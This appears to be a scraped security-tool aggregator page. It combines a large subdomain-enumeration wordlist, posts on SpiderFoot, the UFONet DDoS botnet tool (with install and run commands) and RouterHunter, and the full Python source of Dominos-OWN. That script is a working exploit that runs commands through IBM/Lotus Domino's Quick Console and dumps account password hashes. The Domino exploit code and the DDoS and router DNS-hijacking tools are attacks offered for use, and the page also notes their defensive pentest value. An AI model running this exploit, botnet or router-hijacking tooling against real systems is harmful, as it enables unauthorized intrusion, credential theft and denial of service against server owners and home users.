glendale
global
gm
gmail
gn
go
gold
goldmine
golf
gopher
gordon
gourmet
gp
gprs
gps
gq
gr
green
group
groups
groupwise
gs
gsp
gsx
gt
gtcust
gu
guest
guides
gvt
gw
gw1
gy
gye
h
h2
hal
halflife
hawaii
health
hello
help
helpdesk
helponline
henry
hermes
hfc
hi
hidden
hidden-host
highway
HINET-IP
history
hk
hkcable
hlrn
hm
hn
hobbes
hollywood
home
homebase
homer
homerun
honeypot
honolulu
host
host1
host3
host4
host5
hosting
hotel
hotjobs
houstin
houston
howto
hp
hpov
hr
hrlntx
hsia
hstntx
hsv
ht
http
https
hu
hub
humanresources
i
i0.comet.webchat
i1.comet.webchat
i2.comet.webchat
i3.comet.webchat
i4.comet.webchat
i5.comet.webchat
i6.comet.webchat
i7.comet.webchat
i8.comet.webchat
i9.comet.webchat
ia
ias
ibm
ibmdb
id
ida
idaho
idc
ids
ie
iern
ig
iis
il
illinois
ILMI
im
im1
im2
im3
im4
image
images
imail
imap
imap4
img
img0
img01
img02
img1
img10
img11
img2
img3
img4
img5
img6
img7
img8
img9
imgs
impsat
in
in-addr
inbound
inc
include
incoming
india
indiana
indianapolis
inet
info
informix
infoweb
inside
install
int
intelignet
inter
intern
internal
internalhost
international
internet
internode
intl
intranet
invalid
investor
investors
io
ios
iota
iowa
ip
ip215
ipad
ipcom
iphone
iplanet
iplsin
ipltin
ipmonitor
iprimus
ipsec
ipsec-gw
ipt
ipv4
iq
ir
irc
ircd
ircserver
ireland
iris
irvine
irving
irvnca
is
isa
isaserv
isaserver
ism
isp
israel
isync
it
italy
ix
j
jabber
jan
japan
java
jax
je
jedi
jira
jm
jo
job
jobb
jobs
john
jp
jrun
jsc
juegos
juliet
juliette
juniper
k
k12
kansas
kansascity
kappa
kb
kbtelecom
ke
kentucky
kerberos
keynote
kg
kh
ki
kid
kids
kilo
king
kk
klmzmi
km
kn
knowledgebase
knoxville
koe
korea
kp
kr
ks
ksc2mo
kvm
kw
ky
kz
l
la
lab
laboratory
labs
lambda
lan
laptop
laserjet
lasvegas
launch
lb
lc
ldap
legal
leo
lewis
lft
li
lib
library
lima
lincoln
link
linux
linux0
linux01
linux02
linux1
linux2
list
lista
lists
listserv
listserver
lite
live
livnmi
lk
ll
lnk
load
loadbalancer
local
local.api
localhost
log
log0
log01
log02
log1
log2
logfile
logfiles
logger
logging
loghost
login
logs
london
longbeach
losangeles
lotus
louisiana
love
lr
ls
lsan03
lt
ltrkar
lu
luke
lv
lw
ly
lyris
m
m.
m.plb1
m.plb2
m.slb1
m.slb2
m0
m1
m10
m11
m2
m3
m4
m6
m7
m8
m9
ma
maa
mac
mac1
mac10
mac11
mac2
mac3
mac4
mac5
mach
macintosh
madrid
magazine
mail
mail1
mail1.mail
mail2
mail2.mail
mail3
mail3.mail
mail4
mail4.mail
mail5.mail
mail6.mail
mail7.mail
mailer
mailgate
mailhost
mailing
maillist
maillists
mailroom
mailserv
mailsite
mailsrv
main
maine
maint
maintenance
mall
manage
management
manager
manufacturing
map
mapas
maps
market
marketing
marketplace
mars
marvin
mary
maryland
massachusetts
master
max
maxonline
mayday
mb2
mc
mci
mco
md
mdaemon
me
med
media
mediakit
meet
megaegg
megared
mem
member
members
memphis
men
mercury
merlin
mesh
messages
messenger
mg
mgmt
mh
mi
mia
miamfl
miami
michigan
mickey
mid
midwest
mike
milwaukee
milwwi
minneapolis
minnesota
mirror
mis
mississippi
missouri
mk
ml
mm
mms
mn
mngt
mo
mob
mobi
mobil
mobile
mobileonline
mom
mon
money
monitor
monitoring
montana
moon
moscow
movie
movies
mozart
mp
mp3
mpeg
mpg
mpls
mq
mr
mrt
mrtg
ms
ms-exchange
ms-sql
msexchange
msgrs.webchat
mssnks
mssql
mssql0
mssql01
mssql1
msy
mt
mta
mtnl
mtu
mu
multimedia
munin
music
mv
mw
mweb
mx
mx1
mx2
my
mysql
mysql0
mysql01
mysql1
mz
n
na
nagios
nam
name
names
nameserv
nameserver
nas
nashville
nat
navi
nb
nc
nd
nds
ne
nebraska
neo
neptune
net
netapp
netdata
netgear
netmeeting
netscaler
netscreen
netstats
netvision
network
nevada
new
newhampshire
newjersey
newmexico
neworleans
news
newsfeed
newsfeeds
newsgroups
newsletter
newsletters
newton
newyork
newzealand
nf
ng
nh
ni
nigeria
nj
nl
nm
nms
nntp
no
no-dns
no-dns-yet
node
nokia
nombres
nora
north
northcarolina
northdakota
northeast
northwest
not-set-yet
nothing
noticias
novell
november
now
np
nr
ns
ns-
ns0
ns01
ns02
ns1
ns2
ns3
ns4
ns5
nswc
ns_
nt
nt4
nt40
ntmail
ntp
ntserver
nu
null
nv
nw
ny
nycap
nz
o
o1.email
oakland
oas
oc
ocean
ocn
ocs
odin
odn
office
offices
oh
ohio
oilfield
ok
okc
okcyok
oklahoma
oklahomacity
old
om
omah
omaha
omega
omicron
one
online
ontario
open
openbsd
openview
operations
ops
ops0
ops01
ops02
ops1
ops2
opsware
optusnet
or
oracle
orange
order
orders
oregon
origin
origin-images
origin-video
origin-www
origin-www.sjl01
orion
orlando
oscar
otrs
out
outbound
outgoing
outlook
outside
ov
owa
owa01
owa02
owa1
owa2
owb
ows
oxnard
p
pa
pac
page
pager
pages
paginas
papa
parents
paris
parners
partner
partners
patch
patches
paul
pay
payment
payroll
pbx
pc
pc01
pc1
pc10
pc101
pc11
pc12
pc13
pc14
pc15
pc16
pc17
pc18
pc19
pc2
pc20
pc21
pc22
pc23
pc24
pc25
pc26
pc27
pc28
pc29
pc3
pc30
pc31
pc32
pc33
pc34
pc35
pc36
pc37
pc38
pc39
pc4
pc40
pc41
pc42
pc43
pc44
pc45
pc46
pc47
pc48
pc49
pc5
pc50
pc51
pc52
pc53
pc54
pc55
pc56
pc57
pc58
pc59
pc6
pc60
pc7
pc8
pc9
pcmail
pcs
pda
pdc
pe
pegasus
pennsylvania
peoplesoft
personal
pet
pf
pg
pgp
ph
phi
philadelphia
phnx
phoenix
phoeniz
phone
phones
photo
photos
pi
pics
pictures
pink
pipex-gw
pittsburgh
pix
pk
pki
pl
plala
plano
platinum
pltn13
pluto
pm
pm1
pn
po
podcast
point
pol
policy
polls
pool
pools
pop
pop3
portal
portals
portfolio
portland
post
postales
postoffice
ppp
ppp1
ppp10
ppp11
ppp12
ppp13
ppp14
ppp15
ppp16
ppp17
ppp18
ppp19
ppp2
ppp20
ppp21
ppp3
ppp4
ppp5
ppp6
ppp7
ppp8
ppp9
pppoe
pptp
pr
prensa
present
press
prima
printer
printserv
printserver
priv
privacy
private
problemtracker
prod-empresarial
prod-infinitum
prodigy
products
profile
profiles
project
projects
promo
proxy
prueba
pruebas
ps
psi
pss
pt
ptld
ptr
pub
public
pubs
puppet
purple
pv
pw
py
q
qa
qmail
qotd
qq
quake
quangcao
quebec
queen
quotes
r
r01
r02
r1
r2
ra
radio
radius
ramstein
range217-42
range217-43
range217-44
range86-128
range86-129
range86-130
range86-131
range86-132
range86-133
range86-134
range86-135
range86-136
range86-137
range86-138
range86-139
range86-140
range86-141
range86-142
range86-143
range86-144
range86-145
range86-146
range86-147
range86-148
range86-149
range86-150
range86-151
range86-152
range86-153
range86-154
range86-155
range86-156
range86-157
range86-158
range86-159
range86-160
range86-161
range86-162
range86-163
range86-164
range86-165
range86-166
range86-167
range86-168
range86-169
range86-170
range86-171
range86-172
range86-173
range86-174
range86-176
range86-177
range86-178
range86-179
range86-180
range86-181
range86-182
range86-183
range86-184
range86-185
range86-186
range86-187
range86-188
range86-189
rapidsite
raptor
ras
rc
rcs
rcsntx
rd
rdns
re
read
realserver
realty
record
recruiting
red
redhat
redmine
ref
reference
reg
register
registro
registry
regs
reklam
relay
rem
remote
remstats
reports
res
research
reseller
reserved
resnet
results
resumenes
retail
rev
reverse
rho
rhodeisland
ri
ris
river
rmi
ro
robert
rochester
romeo
root
rose
route
router
router1
rs
rss
rt
rtc5
rtelnet
rtr
rtr01
rtr1
ru
rune
rw
rwhois
s
s1
s16
s17
s18
s2
s201
s202
s203
s207
s216
s221
s222
s224
s227
s230
s233
s236
s237
s238
s239
s241
s245
s247
s248
s249
s251
s252
s253
s254
s255
s256
s257
s258
s259
s262
s264
s265
s266
s267
s268
s269
s270
s271
s272
s273
s274
s275
s276
s277
s278
s280
s281
s285
s286
s287
s288
s289
s29
s290
s291
s295
s296
s297
s298
s299
s30
s301
s302
s303
s304
s305
s306
s307
s308
s309
s31
s310
s311
s312
s313
s314
s315
s316
s317
s318
s320
s321
s324
s325
s326
s329
s33
s330
s331
s332
s333
s334
s335
s336
s337
s338
s339
s340
s341
s342
s343
s344
s345
s346
s347
s348
s349
s350
s351
s352
s353
s354
s355
s356
s357
s4
s40
s401
s402
s403
s406
s410
s411
s412
s413
s414
s415
s416
s417
s418
s419
s420
s421
s422
s424
s425
s426
s427
s428
s429
s430
s431
s432
s433
s434
s435
s436
s437
s438
s439
s440
s441
s442
s443
s444
s445
s446
s447
s448
s449
s450
s451
s452
s453
s454
s455
s456
s457
s458
s459
s460
s461
s462
s463
s464
s465
s466
s467
s468
s469
s470
s471
s472
s473
s474
s475
s476
s477
s5
s7
sa
sac
sacramento
sadmin
safe
sales
saltlake
sam
san
sanantonio
sandbox
sandiego
sanfrancisco
sanjose
saskatchewan
sasknet
saturn
savecom
sb
sbs
sc
scanner
schedules
scotland
scotty
screenshot
scrm01
sd
sdf
sdsl
se
sea
search
season
seattle
sec
secim
secret
secure
secure.dev
secured
securid
security
seed
segment-119-226
segment-119-227
segment-124-30
segment-124-7
seminar
sendmail
seri
serv
serv2
server
server1
servers
service
services
services2
servicio
servidor
setup
sfldmi
sg
sh
share
shared
sharepoint
shareware
shipping
shop
shoppers
shopping
showcase
shv
si
siebel
sierra
sigma
signin
signup
silver
sim
sip
sirius
site
sites
siw
sj
sk
skywalker
sl
slackware
slkc
slmail
sm
smc
smoke
sms
sms2
smtp
smtp1
smtp2
smtp3
smtphost
sn
snantx
sndg02
sndgca
snfc21
sniffer
snmp
snmpd
snoopy
snort
sntcca
so
so-net
socal
soccer
social
software
sol
solaris
solr
solutions
soporte
sorry
source
sourcecode
sourcesafe
south
southcarolina
southdakota
southeast
southwest
spain
spam
spawar
speed
speedtest
speedy
spider
spiderman
spkn
splunk
spock
spokane
spor
sport
sports
spotlight
springfield
sprint
sq1
sqa
sql
sql0
sql01
sql1
sql7
sqlserver
squid
sr
ss
ssd
ssh
ssl
ssl0
ssl01
ssl1
sso
st
sta
staff
stage
staging
start
stat
static
static-ip-92-71
staticIP
statistics
stats
status
stl2mo
stlouis
stlsmo
stock
storage
store
storefront
streaming
stronghold
strongmail
student
studio
submit
subscribe
subversion
sun
sun0
sun01
sun02
sun1
sun2
superman
supplier
suppliers
support
survey
surveys
sv
svn
sw
sw0
sw01
sw1
sweden
switch
switzerland
sy
sybase
sydney
sync
sysadmin
sysback
syslog
syslogs
system
sz
t
t-com
tachikawa
tacoma
taiwan
talk
tampa
tango
tau
tbcn
tc
tcl
tcso
td
tdatabrasil
team
tech
technology
techsupport
telecom
telefonia
telemar
telephone
telephony
telesp
telkomadsl
telnet
temp
tennessee
terminal
terminalserver
termserv
test
test.www
test1
test2k
testbed
testing
testlab
testlinux
testserver
testsite
testsql
testxp
texas
tf
tfn
tftp
tg
th
thailand
theta
thor
ticket
tienda
tiger
time
tinp
titan
tivoli
tj
tk
tm
tn
to
tokyo
toledo
tom
tool
toolbar
tools
toplayer
tor
toronto
tour
tp
tpgi
tr
tracker
tracking
train
training
transfers
transit
translate
travel
travel2
trinidad
trinity
ts
ts1
ts31
tsinghua
tt
tucson
tukrga
tukw
tulsa
tunnel
tv
tvadmin
tw
twcny
tx
txr
tz
u
ua
ucom
uddi
ug
uio
uk
um
unassigned
undefined
undefinedhost
uniform
uninet
union
unitedkingdom
unitedstates
unix
unixware
unk
unknown
unspec170108
unspec207128
unspec207129
unspec207130
unspec207131
Unused
unused-space
uol
upc-a
upc-h
upc-i
upc-j
update
updates
upload
ups
upsilon
uranus
urchin
us
us.m
usa
usenet
user
users
ut
utah
utilities
uunet
uy
uz
v
v4
va
vader
validip
van
vantive
vault
vc
ve
vega
vegas
veloxzone
vend
vendors
venus
vermont
vg
vi
victor
vid1
vid2
video
video1
video2
videos
vie
viking
violet
vip
virginia
vista
vm
vmserver
vmware
vn
vnc
vodacom
voice
voicemail
voip
vote
voyager
vpn
vpn0
vpn01
vpn02
vpn1
vpn2
vsnl
vt
vu
w
w0
w1
w10
w11
w12
w13
w14
w15
w17
w18
w19
w2
w20
w21
w22
w23
w24
w3
w4
w5
w6
w7
w8
w9
wa
wais
wakwak
wallet
wam
wan
wap
wap1
wap2
wap3
war
warehouse
washington
water
wc3
weather
web
web1
web10
web2
web3
webaccess
webadmin
webalizer
webboard
webcache
webcam
webcast
webchat
webdev
webdisk
webdocs
webfarm
webhelp
weblib
weblogic
webmail
webmaster
webproxy
webring
webs
webserv
webserver
webservices
website
websites
websphere
websrv
websrvr
webstats
webstore
websvr
webtrends
welcome
west
westnet
westvirginia
wf
whiskey
white
whm
whois
wi
wichita
widget
widgets
wiki
wililiam
wimax-client
win
win01
win02
win1
win2
win2000
win2003
win2k
win2k3
windows
windows01
windows02
windows1
windows2
windows2000
windows2003
windowsxp
wingate
winnt
winproxy
wins
winserve
winxp
wire
wireless
wisconsin
wlan
wlfrct
woh
woman
women
wood
wordpress
work
world
wotnoh
write
ws
ws1
ws10
ws11
ws12
ws13
ws2
ws3
ws4
ws5
ws6
ws7
ws8
ws9
wusage
wv
ww
www
www-
www-01
www-02
www-1
www-2
www-int
www.ad
www.adimg
www.ads
www.api
www.blog
www.cdn
www.chat
www.demo
www.dev
www.game
www.games
www.help
www.hosting
www.jobs
www.m
www.mail
www.mobile
www.music
www.news
www.plb1
www.plb2
www.plb3
www.plb4
www.plb5
www.plb6
www.search
www.shopping
www.slb1
www.slb2
www.slb3
www.slb4
www.slb5
www.slb6
www.sms
www.tv
www.wap
www0
www01
www02
www1
www10
www15
www16
www17
www18
www19
www2
www20
www22
www23
www24
www25
www26
www270
www3
www30
www31
www32
www36
www37
www39
www4
www41
www43
www44
www47
www48
www49
www5
www51
www54
www55
www56
www6
www61
www63
www64
www65
www66
www67
www68
www69
www70
www74
www81
www82
www9
www90
wwwchat
wwwdev
wwwmail
www_
wy
wyoming
x
x-ray
x1
x3
xdsl
xi
xlogan
xmail
xml
xp
xr
y
y12
yahoo
yankee
ye
yellow
yokohama
young
yournet
yt
yu
z
z-log
za
zabbix
zaq
zebra
zera
zeus
zippy
zlog
zm
zulu
zw
zz
usbank
chase
sns
worlds
driver
drivers
sftp
twitter
api-mobile
mapi
api-1
api-2
api-3
api-4
api-5
api-6
api-7
api-8
graph
documents
servlet
nix
betastream
platform
platform-eb
sitestream
static-site
backup-1
ton
userstream
api1-backup
api2-backup
api3-backup
api4-backup
api5-backup
api6-backup
assets1
assets2
assets3
assets4
assets5
assets6
cdn1
cdn2
cdn3
cdn-1
cdn-2
cdn-3
spiderduck01
spiderduck1
spring
automn
fall
winter
spruce
spruce-goose-bg
syndication
www3-backup
www2-backup
www1-backup
www-backup
honkkong

Source : https://github.com/nahamsec

SpiderFoot v2.6.0 released; is an open source footprinting and intelligence automation tool.

$
0
0

SpiderFoot is an open source intelligence automation tool. Its goal is to automate the process of gathering intelligence about a given target, which may be an IP address, domain name, hostname or network subnet.
SpiderFoot can be used offensively, i.e. as part of a black-box penetration test to gather information about the target or defensively to identify what information your organisation is freely providing for attackers to use against you.

SpiderFoot is an open source footprinting and intelligence automation tool.

SpiderFoot is an open source footprinting and intelligence automation tool.

Features:
+ Utilises a shedload of data sources; over 40 so far and counting, including SHODAN, RIPE, Whois, PasteBin, Google, SANS and more.
+ Designed for maximum data extraction; every piece of data is passed on to modules that may be interested, so that they can extract valuable information. No piece of discovered data is saved from analysis.
+ Runs on Linux and Windows. And fully open-source so you can fork it on GitHub and do whatever you want with it.
+ Visualisations. Built-in JavaScript-based visualisations or export to GEXF/CSV for use in other tools, like Gephi for instance.
+ Web-based UI. No cumbersome CLI or Java to mess with. Easy to use, easy to navigate. Take a look through the gallery for screenshots.
+ Highly configurable. Almost every module is configurable so you can define the level of intrusiveness and functionality.
+ Modular. Each major piece of functionality is a module, written in Python. Feel free to write your own and submit them to be incorporated!
+ SQLite back-end. All scan results are stored in a local SQLite database, so you can play with your data to your heart’s content.
+ Simultaneous scans. Each footprint scan runs as its own thread, so you can perform footprinting of many different targets simultaneously.
+ So much more.. check out the documentation for more information.

Download : spiderfoot-2.6.0-src.tar.gz (1.5 MB) | SpiderFoot-2.6.0-w32.zip (9.6 MB)
Source : http://www.spiderfoot.net

Ufonet v0.6 – Galactic Offensive released.

$
0
0

[!]Remember: this tool is NOT for educational purpose.
Usage of UFONet for attacking targets without prior mutual consent is illegal.
It is the end user’s responsibility to obey all applicable local, state and federal laws.
Developers and Seclist author assume no liability and are not responsible for any misuse or damage caused by this program.

UFONet – is a free software tool designed to test DDoS attacks against a target using ‘Open Redirect’ vectors on third party web applications like botnet.

UFONet - DDoS Botnet via Web Abuse

UFONet – DDoS Botnet via Web Abuse

UFONet abuses OSI Layer 7-HTTP to create/manage ‘zombies’ and to conduct different attacks using; GET/POST, multithreading, proxies, origin spoofing methods, cache evasion techniques, etc.

+ Installing:
UFONet runs on many platforms. It requires Python (2.x.y) and the following libraries:
– python-pycurl – Python bindings to libcurl
– python-geoip – Python bindings for the GeoIP IP-to-country resolver library
On Debian-based systems (ex: Ubuntu), run:
– sudo apt-get install python-pycurl python-geoip
– git clone https://github.com/epsylon/ufonet
– cd ufonet/ufonet
– ./ufonet -h or –gui(for GUI)

Examples:
+ with verbose: ./ufonet -t zombies.txt -v
+ with proxy TOR: ./ufonet -t zombies.txt –proxy=”http://127.0.0.1:8118″
+ with threads: ./ufonet -t zombies.txt –threads 50

Usage:

UFONet - is a tool designed to launch DDoS attacks against a target, using 'Open Redirect' vectors on third party web applications, like botnet

UFONet – is a tool designed to launch DDoS attacks against a target, using ‘Open Redirect’ vectors on third party web applications, like botnet

Source : http://ufonet.03c8.net/ | Our Post Before

Dominos-OWN is a IBM/Lotus Domino exploitation.

$
0
0

Dominos-OWN is a IBM/Lotus Domino exploitation. with function:
– Accessing Domino Quick Console
– Dumping Domino account hashes
– Fingerprinting Domino server

Dominos-OWN is a IBM/Lotus Domino exploitation.

Dominos-OWN is a IBM/Lotus Domino exploitation.

Requirement:
– Python 2.7 for windows
– grequests, requests, urllib & BeautifulSoup4

Dominos-OWN.py Script:

#!/usr/bin/env python
# Copyright (c) 2015, Brandan Geise [coldfusion]
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import argparse
import cmd
import grequests
import re
import requests
import sys
import urllib
from bs4 import BeautifulSoup

class Interactive(cmd.Cmd):
	"""Interact with Domino Quick Console through web requests"""

	def __init__(self):
		cmd.Cmd.__init__(self)
		self.prompt = 'C:\Windows\System32>'
		self.target = target
		self.username = username
		self.password = password
		self.local_path = local_path

	def emptyline(self):
		pass

	def default(self, line):
		operator = '> '
		self.quick_console(line, operator, self.target, self.username, self.password, self.local_path)

	# Handle Domino Quick Console
	def quick_console(self, command, operator, url, username, password, path):
		session = requests.Session()
		session.auth = (username, password)

		header = {
			'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36',
			'Accept': '*/*',
			'Accept-Language': 'en-US,en;q=0.5',
			'Accept-Encoding': 'gzip, deflate',
			'DNT': '1',
			'Referer': "{0}/webadmin.nsf/pgBookmarks?OpenPage".format(url),
			'Connection': 'keep-alive'
		}

		# Encode command
		raw_command = 'load cmd /c {0} {1}"{2}Domino\\data\\domino\\html\\download\\filesets\\log.txt"'.format(command, operator, path)
		encoded_command = urllib.quote(raw_command, safe='')

		quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(url, encoded_command)
		response_url = "{0}/download/filesets/log.txt".format(url)

		# Send commands and handle cleanup
		send_command = session.get(quick_console_url, headers=header, verify=False)
		if send_command.status_code == 200:
			get_response = session.get(response_url, headers=header, verify=False)
			if get_response.status_code == 200 and '>' in operator:
				print get_response.text
			elif get_response.status_code == 200 and '>' not in operator:
				print 'Unable to delete outfile!'
			elif get_response.status_code == 404 and '>' not in operator:
				print 'Outfile sucessfully deleted'
			else:
				print 'Output file was not found!'
				do_exit
		else:
			print 'Quick Console is unavaliable!'
			do_exit

	def do_EOF(self, line):
		operator = ''
		command = 'del'
		self.quick_console(command, operator, self.target, self.username, self.password, self.local_path)
		return True

	def help_EOF(self):
		print "Use exit or quit to cleanly exit." 

	do_exit = do_quit = do_EOF
	help_exit = help_quit = help_EOF

# Get Domino version
def fingerprint(url):
	version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 
			'download/filesets/n_LOTUS_SCRIPT.inf',
			'download/filesets/l_SEARCH.inf',
			'download/filesets/n_SEARCH.inf'
		]

	for version_file in version_files:
		try:
			request = requests.get("{0}/{1}".format(url, version_file), verify=False)
			if request.status_code == 200:
				domino_version = re.search("(?i)version=([0-9].[0-9].[0-9])", request.text)
				if domino_version:
					return domino_version.group(1)
			else:
				continue
		except:
			continue

	return None

# Check for open authentication to names.nsf and webadmin.nsf
def check_portals(url):
	portals = ['names.nsf', 'webadmin.nsf']
	for portal in portals:
		try:
			request = requests.get("{0}/{1}".format(url, portal), verify=False)
			if request.status_code == 200:
				print_good("{0}/{1} does NOT require authentication!".format(url, portal))
			elif request.status_code == 401:
				print_warn("{0}/{1} requires authentication".format(url, portal))
			else:
				print_error("Could not find {0}!".format(portal))
		except:
			continue

# Determine Domino file structure
def check_access(url, username, password, version):
	session = requests.Session()
	session.auth = (username, password)

	header = {
		'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36',
		'Accept': '*/*',
		'Accept-Language': 'en-US,en;q=0.5',
		'Accept-Encoding': 'gzip, deflate',
		'DNT': '1',
		'Referer': "{0}/webadmin.nsf/pgBookmarks?OpenPage".format(url),
		'Connection': 'keep-alive'
	}

	local_paths = ['C:\\Program Files\\IBM\\',		# 9.0.1 Windows x64
		'C:\\Program Files\\IBM\\Lotus\\', 			# 8.5.3 Windows x64
		'C:\\Program Files (x86)\\IBM\\', 			# 9.0.1 Windows x86
		'C:\\Program Files (x86)\\IBM\\Lotus\\',	# 8.5.3 Windows x86
		'C:\\Lotus\\'								# Not sure, but just in case
	]

	for local_path in local_paths:
		try:
			# Encode command
			raw_command = 'load cmd /c whoami > "{0}Domino\\data\\domino\\html\\download\\filesets\\log.txt"'.format(local_path)
			encoded_command = urllib.quote(raw_command, safe='')

			quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(url, encoded_command)
			response_url = "{0}/download/filesets/log.txt".format(url)

			# Do things...
			send_command = session.get(quick_console_url, headers=header, verify=False)
			if send_command.status_code == 200:
				get_response = session.get(response_url, headers=header, verify=False)
				if get_response.status_code == 200:
					get_user = re.search(".+\\\\(.+)", get_response.text)
					if get_user:
						return get_user.group(1), local_path
		except:
			break

	return None, None

# Get user profile URLs
def enum_accounts(url, username, password):
	accounts = []
	session = requests.Session()
	session.auth = (username, password)

	for page in range(1, 100000, 30):
		try:
			pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}".format(url, page)
			request = session.get(pages, timeout=(30), verify=False)
			if request.status_code == 200:
				soup = BeautifulSoup(request.text, 'lxml')
				empty_page = soup.findAll('h2')
				if empty_page:
					break
				else:
					links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')]
					for link in links:
						match = re.search("/(([a-fA-F0-9]{32})/([a-fA-F0-9]{32}))", link)
						if match and match.group(1) not in accounts:
							accounts.append(match.group(1))
						else:
							pass
			else:
				print_error('Not authorized, bad username or password!')
				sys.exit(0)
		except:
			print_error('Could not connect to Domino server!')
			break

	async_requests(accounts, url, username, password)

# Asynchronously get hashes
def async_requests(accounts, url, username, password):
	NUM_SESSIONS = 50
	sessions = [requests.Session() for i in range(NUM_SESSIONS)]
	async_list = []
	i = 0

	try:
		for unid in accounts:
			profile = "{0}/names.nsf/{1}?OpenDocument".format(url, unid)
			action_item = grequests.get(profile,
				hooks={'response':get_domino_hash},
				session=sessions[i % NUM_SESSIONS],
				auth=(username, password),
				verify=False
			)
			async_list.append(action_item)
			i += 1

		grequests.map(async_list, size=NUM_SESSIONS * 5)

	except KeyboardInterrupt:
		pass

# Dump Domino hashes
def get_domino_hash(response, **kwargs):
	domino_username = None
	domino_hash = None
	soup = BeautifulSoup(response.text, 'lxml')

	try:
		# Get account username
		username_params = ['$dspFullName', '$dspShortName']
		for user_param in username_params:
			domino_username = (soup.find('input', attrs={'name':user_param}))['value']
			if domino_username:
				break
			else:
				continue

		# Get account hash
		hash_params = ['$dspHTTPPassword', 'dspHTTPPassword', 'HTTPPassword']
		for hash_param in hash_params:
			domino_hash = (soup.find('input', attrs={'name':hash_param}))['value']
			if domino_hash:
				# Lotus Notes/Domino 5 Format
				if len(domino_hash) > 22:
					domino_hash = domino_hash.strip('()')
				break
			else:
				continue
	except:
		pass

	if domino_username is None or domino_hash is None:
		pass
	else:
		print "{0}, {1}".format(domino_username, domino_hash)

def print_error(msg):
	print "\033[1m\033[31m[-]\033[0m {0}".format(msg)
	
def print_status(msg):
	print "\033[1m\033[34m[*]\033[0m {0}".format(msg)
		
def print_good(msg):
	print "\033[1m\033[32m[+]\033[0m {0}".format(msg)
	
def print_warn(msg):
	print "\033[1m\033[33m[!]\033[0m {0}".format(msg)

if __name__ == '__main__':
	parser = argparse.ArgumentParser(
		prog='Dominos-OWN.py',
		formatter_class=argparse.RawDescriptionHelpFormatter,
		description=("""
         __________   __________ __________ 
        |          |\|          |          |\\
        |  *    *  |||  *  *  * |        * ||
        |  *    *  |||          |     *    ||
        |  *    *  |||  *  *  * |  *       ||
        |__________|||__________|__________||
        |          || `---------------------`
        |  *    *  ||
        |          ||
        |  *    *  ||
        |__________||
         `----------`
             IBM/Lotus Domino OWNage
"""))
	parser.add_argument('--url', help='Domino server URL', required=False)
	parser.add_argument('-u', '--username', help='Username, default: [None]', default='', required=False)
	parser.add_argument('-p', '--password', help='Password, default: [None]', default='', nargs='+', required=False)
	parser.add_argument('--hashdump', help='Dump Domino hashes', action='store_true', required=False)
	parser.add_argument('--quickconsole', help='Interact with Domino Quick Console', action='store_true', required=False)
	args = parser.parse_args()

	# Define variables
	username = args.username
	password = ' '.join(args.password)

	# Process Domino URL
	if args.url:
		url = re.search("((https?)://([a-zA-Z0-9.-]+))", args.url)
		if url:
			target = url.group(1)
		else:
			print_error("Please provide a valid URL!")
			sys.exit(0)
	else:
		parser.parse_args('-h'.split())
		sys.exit(0)

	# Interact with quick console
	if args.quickconsole:
		print_status('Accessing Domino Quick Console...')
		version = fingerprint(target)
		who_am_i, local_path = check_access(target, username, password, version)
		if who_am_i:
			print_good("Running as {0}".format(who_am_i))
			Interactive().cmdloop()
		else:
			print_error('Could not access Domino Quick Console!')
			sys.exit(0)

	# Dump hashes
	elif args.hashdump:
		print_status('Dumping Domino account hashes...')
		enum_accounts(target, username, password)

	# Fingerprint
	else:
		print_status('Fingerprinting Domino server...')
		version = fingerprint(target)
		print_good("Domino version: {0}".format(version))
		check_portals(target)

Source:https://github.com/coldfusion39

Scanner Routerhunter 2.0 – Testing vulnerabilities in devices & routers connected to the Internet.

$
0
0

The Routerhunter was designed to run over the Internet looking for defined ips tracks or random in order to automatically exploit the vulnerability DNSChanger on home routers.

Tool used to find vulnerable routers and devices on the Internet and perform tests. Has been tested on Ubuntu 14.04, Kali Linux, Windows;7/Vista/8.1

Tool used to find vulnerable routers and devices on the Internet and perform tests.
Has been tested on Ubuntu 14.04, Kali Linux, Windows;7/Vista/8.1

The script explores four vulnerabilities in routers
+ Shuttle Tech ADSL Modem-Router 915 WM / Unauthenticated Remote DNS Change Exploit
reference: http://www.exploit-db.com/exploits/35995/

+ D-Link DSL-2740R / Unauthenticated Remote DNS Change Exploit
reference: http://www.exploit-db.com/exploits/35917/

+ D-Link DSL-2640B Unauthenticated Remote DNS Change Exploit
reference: http://1337day.com/exploit/23302/

+ D-Link DSL-2780B DLink_1.01.14 – Unauthenticated Remote DNS Change
reference: https://www.exploit-db.com/exploits/37237/

+ D-Link DSL-2730B AU_2.01 – Authentication Bypass DNS Change
reference: https://www.exploit-db.com/exploits/37240/

+ D-Link DSL-526B ADSL2+ AU_2.01 – Unauthenticated Remote DNS Change
reference: https://www.exploit-db.com/exploits/37241/

